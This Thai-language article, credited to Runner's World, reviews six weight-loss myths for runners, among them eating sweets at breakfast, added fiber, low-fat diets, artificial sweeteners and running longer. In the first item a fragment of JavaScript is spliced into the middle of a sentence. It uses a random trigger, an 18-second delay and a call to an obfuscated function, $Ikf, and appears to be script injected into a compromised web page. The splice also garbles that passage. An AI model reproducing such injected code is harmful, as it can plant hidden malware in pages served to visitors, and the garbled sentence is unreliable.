6 Weight-Loss Myths: 6 วิธีลดน้ำหนักชัวร์หรือมั่วนิ่ม

6 Weight-Loss Myths: 6 วิธีลดน้ำหนักชัวร์หรือมั่วนิ่ม

1. ชัวร์หรือมั่วนิ่ม ขนมหวานตอนบ่ายไม่ดี

นักวิ่งหลายๆ คนที่ควบคุมน้ำหนักอาจจะถึงขั้นที่เลิกกินขนมหวานไปเลย แต่เราสามารถกินขนมหวานได้นะ กินร่วมกับมื้อเช้าก็ได้ด้วย ในปี 2012 นิตยสาร Steroids ได้ตีพิมพ์งานวิจัยที่ผู้ทดลองรับอาหารปริมาณ 600 แคลอรี่ อุดมด้วยคาร์โบ โปรตีนและขนมหวาน (Carb- andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Protein-rich) อย่างพวกซ็อคโกแลต ไอศครีม กับกลุ่มที่รับอาหารแบบโลคาร์โบ (Low-carb) ผลการทดลองตลอด 4 เดือน พบว่ากลุ่มผู้ทดลองที่รับคาร์โบ โปรตีนและขนมหวานสามารถลดน้ำหนักได้มากกว่ากลุ่มที่สอง บอกตามตรงว่าการทานขนมหวานตอนเช้ามันจะไม่ค่อยถูกจริตเท่าไหรแต่ผลที่ออกมาน่าช็อคจริงๆ ทั้งนี้อาจเป็นเพราะการรับประทานอาหารมื้อเช้าให้เต็มที่จะความรู้สึกให้อิ่ม ช่วยลดอาการหิวตลอดวันได้

ดังนั้นเราแนะนำว่า มื้อเช้าต้องจัดเต็ม เนื้อ นม ไข่ ขนมหวานเอามาให้หมด แต่ขนมหวานอย่า overload เกินไปนะครับเอาพอดี พอให้หายอยาก เน้นพวกผัก โปรตีนและคาร์โบแทนจะดีกว่า

2. ชัวร์หรือมั่วนิ่ม กินพวกไฟเบอร์ช่วยให้อยู่ท้องได้นาน

อาหารที่ประกอบไปด้วยไฟเบอร์สูงอย่างผักผลไม้ จะอุ้มน้ำได้มาก ใช้เวลาย่อยนานกว่าโปรตีน ทำให้เรารู้สึกอิ่มท้อง เป็นตัวช่วยในการลดน้ำหนักได้อย่างดี และเพราะถูกมองว่าเป็นอาหารสำหรับควบคุมน้ำหนัก หลายๆ บริษัทฉวยโอกาสนำเสนอผลิตภัณฑ์อาหารพวก low-calories, low-fat หรือ อาหารสูตรลดน้ำหนักต่างๆ โดยจะใส่ (เรัยกว่า ดั้มเลยก็ว่าได้) พวกไฟเบอร์เข้าไปเยอะๆ เป็นตัวชูโรง เรียกว่าอะไรที่ใส่ไฟเบอร์จะทำให้หุ่นคุณสวยเพรียวแน่นอน ที่เห็นชัดๆ ก็จะมีพวกโยเกริส์ใส่ไฟเบอร์ หรือ snack bar ไฟเบอร์สูงทั่วไป

ต่อมาทีมนักวิจัย University of Minnesota ได้ทำการทดลองว่าการใส่ไฟเบอร์ลงไปในอาหารจะทำให้เราอยู่ท้องได้นานหรือไม่ ผลคือไม่มีความแตกต่างระหว่างอาหารที่ใส่และไม่ใส่ แถมอาหารที่ใส่ไฟเบอร์เพิ่มทำให้เกิดอาการท้องอืดท้องแน่น เรอ มากกว่าปกติ ในการวิจัยนั้นเจ้าหน้าที่จะมีการให้อาหารแบบ low-fiber snack bar หรือของกินที่มีไฟเบอร์ 10 กรัม สลับกัน 2 มื้อใน 1 วัน

ดังนั้นแนะนำว่าให้รับประทานอาหารที่มีไฟเบอร์สูงตามธรรมชาติจะดีกว่า พวก Wholegrain ถั่ว ผลไม้และผักทั่วไป เพราะนอกจากจะให้แคลอรี่ต่ำแล้วยังกินพื้นที่ในกระเพาะได้ดีกว่าอาหารสำเร็จรูปที่ใส่ไฟเบอร์เพิ่มเลยละ

3. ชัวร์หรือมั่วนิ่ม กินคาร์โบจะอ้วน

คาร์โบไฮเดตหรือแป้ง เป็นแหล่งพลังงานสำหรับนักวิ่ง เพื่อจะลดน้ำหนัก หลายคนยังจะเลี่ยงที่จะไม่กินแป้ง (คาร์โบ) ทั้งที่จริงแล้วแป้งช่วยในการดูดซับน้ำเหมือนกับฟองน้ำ การโหลดคาร์โบก่อนงานวิ่งจะทำให้เราน้ำหนักเพิ่มขึ้น แต่แค่ชั่วคราวเท่านั้น

การรับคาร์โบหรือแป้งแนะนำให้เลือกแบบที่เป็น Whole-gain ซึ่งจะดีกว่าแบบ Refined wheat (แป้งขาว) เพราะจะมีไฟเบอร์ช่วยเติมท้องให้อิ่มได้เร็วขึ้นครับ และในงานวิจัยปี 2012 ได้ให้ผู้ทดลองกินขนมปังแบบ Whole grain เปรียบเทียบกับ แป้งขาว 12 สัปดาห์ พบว่าคนที่กินแบบ Whole grain จะลดน้ำหนักได้ดีกว่า

4. ชัวร์หรือมั่วนิ่ม ไม่กินมันเลย

ไขมันคือกลุ่มก้อนพลังงานแคลอรี่สูง ลดการทานไขมันจะช่วยคุณควบคุมน้ำหนักได้ แต่ถ้าถึงขั้นตัดทิ้งเลยอาจจะไม่ดีแน่ มีบทความจากนิยสาร American Medical Association ได้พูดถึงการทดลองเปรียบเทียบผู้ทดลองสามกลุ่มคือ กลุ่มกิน low-fat กลุ่มกิน low-glycemic และกลุ่มกิน Low-carb

พบว่ากลุ่มที่รับอาหารแบบ Low-fat มีการใช้พลังงานขณะหลับลดลงมากที่สุด นอกจากนี้การตัดไขมัน ยังส่งผลต่อฮอร์โมน์ที่ควบคุมคลอเรสตอรอลและอินสูลิน ที่สำคัญการออกกำลังกายเรายังจำเป็นต้องพึ่งแหล่งพลังงานหลายๆ แหล่ง จากแป้งจากไขมัน เพราะถ้ามีแหล่งพลังงานไม่พอ ร่างกายเราจะดึงพลังงานโดยการย่อยกล้ามเนื้อแทน

บางครั้งการกินอาหารแบบ Low-fat เราก็มีการเติมน้ำตาลอย่างไม่รู้ตัว เราแนะนำให้ 30% ของแคลอรี่แต่มื้อมาจากไขมัน และ 2/3 ของไขมันควรเป็นไขมันไม่อิ่มตัว ที่ได้จาก ถั่ว น้ำมันพืช ปลาและไข่

5. ชัวร์หรือมั่วนิ่ม ใช้สารทดแทนความหวาน

สำหรับนักวิ่งที่ต้องการลดน้ำหนัก อาจจะเลือกใช้สารทดแทนความหวานอย่าง sucralose, aspartame, และ stevia (ถ้าบอกว่า Coke Zero น่าจะเข้าใจง่ายกว่า) แทนที่จะดื่มน้ำอัดลมธรรมดาในการตัดลดแคลอรี่ แต่จากการศึกษาร่วมกันของ American Heart Association และ American Diabetes Association การลดน้ำหนักระยะยาว โดยใช้สารทดแทนความหวน แคลอรี่ 0% พบว่าให้ผลที่ไม่ชัดเจน ทั้งนี้เพราะเกิดปรากฏการทีเรียกว่า Overcompensation หรือปรากฏการให้รางวัลตัวเองมากเกินไป ถ้าเราสามารถลดแคลอรี่ได้ 150 แคลอรี่จากการดื่มที่ใส่สารทดแทนความหวาน เราจะให้รางวัลตัวเองโดยจัดดินเนอร์ชุดใหญ่ สรุปเอาออกน้อยกว่าเอาเข้า

การดื่มเครื่องดื่มที่ใส่สารทดแทนความหวาน จะเป็นการสร้างเงื่อนไข ว่าเราสามารถรับขนมของหวานได้อีกนะ เป็นการสร้างโอกาสให้รางวัลแก่ตัวเอง ซึ่งส่วนมากจะลงท้ายด้วยการรับขนมของหวานเพิ่ม ถ้าจะตัดก็ตัดเลย ไม่ต้องเพื่อโอกาสให้รางวัลตัวเอง

6. ชัวร์หรือมั่วนิ่ม วิ่งมากยิ่งดี

ยิ่งวิ่งมากยิ่งดี แต่เมื่อมีการควบคุมน้ำหนักมาเกี่ยวข้องก็ไม่เสมอไป ในปี 2012 มีการศึกษาที่ให้กลุ่มคนอ้วนออกกำลังกายขนาดกลาง (Moderate Exercise) ประมาณ 30 และ 60 นาที พบว่ากลุ่มที่ออกกำลังกายน้อยกว่าสามารถลดน้ำหนักได้มากกว่าในช่วงเวลาทดลอง 13 สัปดาห์ เมื่อลองสืบสาเหตุดูพบว่า กลุ่มที่ออกกำลังกายระยะเวลานานจะรับประทานอาหารเพิ่มมากกว่ากลุ่มที่ออกกำลังกายระยะสั้น ยิ่งออกกำลังกายมากก็ยิ่งต้องการพลังงานทดแทนพิ่มขึ้นด้วย

ดังนั้นการออกกำลังกายควรออกให้แต่พอดี และต้องควบคุมอาหารที่รับเข้าไป ยิ่งนักวิ่งระยะไกลยิ่งต้องระวังเรื่องกินสองเท่า

ที่มา Runnersworld